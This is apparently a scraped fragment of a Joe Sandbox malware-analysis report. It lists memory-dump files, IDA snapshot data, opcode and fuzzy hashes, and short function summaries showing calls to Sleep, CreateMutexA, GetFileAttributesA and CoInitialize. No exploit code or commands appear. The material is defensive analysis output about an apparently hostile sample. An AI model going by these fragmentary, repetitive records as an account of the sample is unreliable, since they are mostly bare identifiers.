Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 71a55b562a5c234bf92dd6b3c2b9627a8f306fc17cbabdcd01cb2b7553cfdf54
Instruction ID: 2d925b9f312e2c95ce7aaa349a47460bd668affe84990a60c74f251f20b5d91d
Opcode Fuzzy Hash: 71a55b562a5c234bf92dd6b3c2b9627a8f306fc17cbabdcd01cb2b7553cfdf54
Instruction Fuzzy Hash: C8216B727452009BEB189B68DCC9BAEF761EBD1310F20421DE408D76D5C7755985CA12

Function 00A4A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7eb1a5980fcd0329d23e79e24664664e650bb44f95e7abf782d4c53932ee903b
Instruction ID: 66a3ee07ace45e18c36a922ad0f041876909ba89b195c860db23e246a0bfee58
Opcode Fuzzy Hash: 7eb1a5980fcd0329d23e79e24664664e650bb44f95e7abf782d4c53932ee903b
Instruction Fuzzy Hash: 67219E757D92019AFB2867788D9AB7EB351DFE1300F244C1AE008D62D2CF7A89818553

Function 00A4A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00A4A963
CreateMutexA.KERNEL32(00000000,00000000,00AA3254), ref: 00A4A981

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3aa175602bc58a039a65b83185e5b1c48970cc66044845417f22fd8b0fc137c5
Instruction ID: 8796d2a5b53d23ebd59d9ec2dbcb32afb0d658e6a96559391d8ce2b2aea4a032
Opcode Fuzzy Hash: 3aa175602bc58a039a65b83185e5b1c48970cc66044845417f22fd8b0fc137c5
Instruction Fuzzy Hash: C7219B763812009BEB18DF68DC89BADF762EBE2311F24421DE408DB7D1D7759A80C712

Function 00A487B2 Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(?,00A4DA1D,?,?,?,?), ref: 00A487B9

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 777a4062b547f7a1a6796f12f945586f2131923631682441ba0afb589f9b5c28
Instruction ID: 1299b5d13140d2faddc0d1e3906ab34f3141c44dd7cc2437eb86c6f22e3920b2
Opcode Fuzzy Hash: 777a4062b547f7a1a6796f12f945586f2131923631682441ba0afb589f9b5c28
Instruction Fuzzy Hash: D7C08C2C01260086ED1C063822A88EC334549C77B83F42B88E0784B1E1DA3D5807A610

Function 00A487B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00A4DA1D,?,?,?,?), ref: 00A487B9

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b5a07a350f860bda4f771ed203aff87b30b32dc94646531693a8e63f7dbd323b
Instruction ID: 5c8faf5c2659bb3f5329d24a6ca66debe28d2b3030a9de256c2e5c23147f3369
Opcode Fuzzy Hash: b5a07a350f860bda4f771ed203aff87b30b32dc94646531693a8e63f7dbd323b
Instruction Fuzzy Hash: 9EC08C3C012200C6EA1C4B3872A88AC32059A837293F01B8CE0354B1E1DB3EC403CAA0

Function 00A4B1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00A4B3C8

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
